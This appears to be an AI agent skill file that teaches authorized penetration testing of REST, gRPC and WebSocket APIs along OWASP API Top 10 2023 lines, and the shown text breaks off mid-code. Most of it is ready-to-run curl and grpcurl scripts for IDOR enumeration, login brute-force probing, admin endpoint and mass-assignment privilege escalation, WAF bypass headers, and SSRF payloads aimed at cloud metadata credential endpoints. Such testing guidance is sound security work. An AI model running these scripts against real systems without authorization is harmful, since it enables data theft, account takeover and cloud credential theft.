offensive-api-security

# Offensive API Security Testing You are conducting authorized security assessments against API-driven applications. This skill covers REST, gRPC, and WebSocket attack surfaces with emphasis on the OWASP API Security Top 10 2023. Every technique assumes you have written authorization and a defined scope. Your goal is to identify vulnerabilities that allow unauthorized data access, privilege escalation, or service disruption through API-layer attacks. ## Quick Workflow 1. Map the API surface: collect OpenAPI/Swagger specs, gRPC reflection output, and WebSocket endpoints. 2. Enumerate authentication mechanisms: API keys, OAuth flows, JWTs, session tokens. 3. Test BOLA/IDOR by substituting object identifiers across authenticated contexts. 4. Probe authorization boundaries with BFLA checks across roles and HTTP methods. 5. Fuzz parameters for mass assignment, content-type switching, and verb tampering. 6. Assess rate limiting and resource consumption controls. 7. Test gRPC-specific vectors: reflection enumeration, metadata injection, protobuf manipulation. 8. Evaluate WebSocket security: origin validation, message integrity, CSWSH. 9. Check for SSRF via URL-accepting parameters and webhook configurations. 10. Document findings with reproduction steps and severity ratings. --- ## OWASP API Top 10 2023 -- BOLA and IDOR Broken Object Level Authorization (BOLA) is the most prevalent API vulnerability. You test it by capturing a legitimate request containing an object identifier and replaying it with identifiers belonging to other users or tenants. ```http GET /api/v1/users/1001/orders HTTP/1.1 Authorization: Bearer eyJhbGciOi...user_a_token Host: target.example.com ``` Replay with a different user ID while retaining the original token: ```http GET /api/v1/users/1002/orders HTTP/1.1 Authorization: Bearer eyJhbGciOi...user_a_token Host: target.example.com ``` Automate IDOR testing across sequential and UUID-based identifiers: ```bash # Sequential ID enumeration for id in $(seq 1000 1050); do status=$(curl -s -o /dev/null -w "%{http_code}" \ -H "Authorization: Bearer $TOKEN_A" \ "https://target.example.com/api/v1/users/${id}/orders") echo "ID: ${id} -> HTTP ${status}" done ``` ```bash # Test with collected UUIDs from other endpoints while read -r uuid; do resp=$(curl -s -H "Authorization: Bearer $TOKEN_A" \ "https://target.example.com/api/v1/documents/${uuid}") echo "UUID: ${uuid} -> $(echo "$resp" | jq -r '.owner // "no_owner_field"')" done < collected_uuids.txt ``` Test across HTTP methods -- an endpoint may enforce authorization on GET but not on PUT or DELETE: ```bash for method in GET PUT PATCH DELETE; do curl -s -o /dev/null -w "${method} -> %{http_code}\n" \ -X "${method}" \ -H "Authorization: Bearer $TOKEN_A" \ -H "Content-Type: application/json" \ -d '{"status":"cancelled"}' \ "https://target.example.com/api/v1/users/1002/orders/5001" done ``` --- ## Broken Authentication and Excessive Data Exposure Test authentication endpoints for credential stuffing resilience, token lifecycle weaknesses, and information leakage in API responses. ```bash # Rapid credential testing -- probe for missing rate limits on login for i in $(seq 1 100); do code=$(curl -s -o /dev/null -w "%{http_code}" \ -X POST -H "Content-Type: application/json" \ -d "{\"email\":\"test@example.com\",\"password\":\"attempt${i}\"}" \ "https://target.example.com/api/v1/auth/login") echo "Attempt ${i}: HTTP ${code}" [ "$code" = "429" ] && echo "Rate limit hit at attempt ${i}" && break done ``` Check for excessive data exposure by comparing full API responses against what the UI renders. Look for internal IDs, other users' emails, hashed passwords, role assignments, or PII the client never displays: ```bash curl -s -H "Authorization: Bearer $TOKEN" \ "https://target.example.com/api/v1/users/me" | jq . ``` Test token validation weaknesses: ```bash # Expired token, post-password-change token, malformed bearer values curl -s -o /dev/null -w "Expired: %{http_code}\n" \ -H "Authorization: Bearer $EXPIRED_TOKEN" \ "https://target.example.com/api/v1/users/me" curl -s -o /dev/null -w "Pre-change: %{http_code}\n" \ -H "Authorization: Bearer $PRE_PASSWORD_CHANGE_TOKEN" \ "https://target.example.com/api/v1/users/me" for val in "" "null" "undefined" "Bearer" "Bearer "; do curl -s -o /dev/null -w "Value '${val}' -> %{http_code}\n" \ -H "Authorization: ${val}" \ "https://target.example.com/api/v1/users/me" done ``` --- ## Rate Limiting and Resource Consumption Test for Unrestricted Resource Consumption (API4:2023) by assessing whether the API enforces limits on request frequency, payload size, and response pagination. ```bash # Measure rate limit headers across rapid requests for i in $(seq 1 50); do curl -s -D - -o /dev/null \ -H "Authorization: Bearer $TOKEN" \ "https://target.example.com/api/v1/search?q=test" 2>&1 | \ grep -iE "x-rate|retry-after|x-ratelimit" sleep 0.1 done ``` ```bash # Pagination abuse and large payload submission curl -s -H "Authorization: Bearer $TOKEN" \ "https://target.example.com/api/v1/products?page=1&per_page=100000" | jq 'length' python3 -c " import json, sys payload = {'name': 'A' * 1000000, 'tags': ['x'] * 10000} sys.stdout.write(json.dumps(payload)) " | curl -s -o /dev/null -w "Large payload: %{http_code}\n" \ -X POST -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" -d @- \ "https://target.example.com/api/v1/products" ``` --- ## BFLA and Mass Assignment Broken Function Level Authorization (BFLA) occurs when low-privilege users can invoke administrative API functions. Mass assignment exploits occur when the API binds client-supplied data directly to internal object properties. ```bash # BFLA: Test admin endpoints with regular user token admin_endpoints=( "GET /api/v1/admin/users" "POST /api/v1/admin/users" "DELETE /api/v1/admin/users/1001" "GET /api/v1/admin/config" "PUT /api/v1/admin/config" "GET /api/v1/internal/metrics" ) for ep in "${admin_endpoints[@]}"; do method=$(echo "$ep" | cut -d' ' -f1) path=$(echo "$ep" | cut -d' ' -f2) code=$(curl -s -o /dev/null -w "%{http_code}" \ -X "$method" -H "Authorization: Bearer $REGULAR_USER_TOKEN" \ "https://target.example.com${path}") echo "${method} ${path} -> HTTP ${code}" done ``` ```bash # Mass assignment: inject properties that should not be user-controllable curl -s -X PUT \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{ "name": "Updated Name", "role": "admin", "is_admin": true, "permissions": ["admin", "superuser"], "account_type": "premium", "credit_balance": 99999 }' \ "https://target.example.com/api/v1/users/me" | jq . ``` --- ## REST Verb Tampering and Content-Type Switching APIs sometimes apply security controls only to expected HTTP methods or content types. You exploit this by sending requests with unexpected methods or by switching the serialization format. ```bash # Verb tampering: test all methods against a restricted endpoint for method in GET POST PUT PATCH DELETE OPTIONS HEAD TRACE; do code=$(curl -s -o /dev/null -w "%{http_code}" \ -X "$method" -H "Authorization: Bearer $TOKEN" \ "https://target.example.com/api/v1/admin/settings") echo "${method} -> HTTP ${code}" done ``` ```bash # Method override headers -- bypass method-based WAF rules curl -s -X POST \ -H "X-HTTP-Method-Override: DELETE" \ -H "Authorization: Bearer $TOKEN" \ "https://target.example.com/api/v1/users/1002" curl -s -X POST \ -H "X-Method-Override: PUT" -H "X-HTTP-Method: PATCH" \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{"role":"admin"}' \ "https://target.example.com/api/v1/users/me" ``` ```bash # Content-type switching and parameter pollution curl -s -X POST -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "username=admin&password=test&role=admin" \ "https://target.example.com/api/v1/users" curl -s -X POST -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/xml" \ -d '<?xml version="1.0"?><user><name>test</name><role>admin</role></user>' \ "https://target.example.com/api/v1/users" # Parameter pollution via duplicate keys curl -s -H "Authorization: Bearer $TOKEN" \ "https://target.example.com/api/v1/transfer?to=attacker&amount=100&to=victim" ``` --- ## SSRF via API Parameters Server-Side Request Forgery through URL-accepting API parameters allows you to reach internal services or cloud metadata endpoints. ```bash ssrf_payloads=( "http://169.254.169.254/latest/meta-data/" "http://metadata.google.internal/computeMetadata/v1/" "http://127.0.0.1:8080/admin" "http://[::1]:8080/" "http://0x7f000001/" "http://internal-service.local/" ) for payload in "${ssrf_payloads[@]}"; do echo "--- Testing: ${payload}" curl -s -X POST -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d "{\"webhook_url\": \"${payload}\"}" \ "https://target.example.com/api/v1/integrations/webhook" | head -c 500 echo done ``` Test SSRF through import/export and profile features: ```bash curl -s -X POST -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{"import_url": "http://169.254.169.254/latest/user-data"}' \ "https://target.example.com/api/v1/data/import" curl -s -X PUT -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{"avatar_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}' \ "https://target.example.com/api/v1/users/me/profile" ``` --- ## gRPC Security Testing gRPC services expose a different attack surface than REST. You use reflection to enumerate services, grpcurl to craft requests, and mitmproxy to intercept protobuf traffic. ```bash # Enumerate services via gRPC reflection grpcurl -plaintext target.example.com:50051 list grpcurl -plaintext target.example.com:50051 describe myapp.UserService grpcurl -plaintext target.example.com:50051 describe myapp.UserService.GetUser ``` ```bash # Test BOLA on gRPC -- access another user's data with your token grpcurl -plaintext \ -H "authorization: Bearer $TOKEN_A" \ -d '{"user_id": "1002"}' \ target.example.com:50051 myapp.UserService/GetUser # Test admin methods with regular user credentials grpcurl -plaintext \ -H "authorization: Bearer $REGULAR_TOKEN" \ -d '{}' \ target.example.com:50051 myapp.AdminService/ListAllUsers ``` Metadata injection -- gRPC metadata headers can be exploited similarly to HTTP headers: ```bash grpcurl -plaintext \ -H "authorization: Bearer $TOKEN" \ -H "x-forwarded-for: 127.0.0.1" \ -H "x-internal-service: true" \ -H "x-user-role: admin" \ -d '{}' \ target.example.com:50051 myapp.AdminService/GetConfig ``` Intercept and modify gRPC traffic with mitmproxy: ```python # mitmproxy addon for gRPC inspection (save as grpc_inspector.py) # Run: mitmproxy -s grpc_inspector.py --mode reverse:https://target:50051 from mitmproxy import http class GrpcInspector: def request(self, flow: http.HTTPFlow):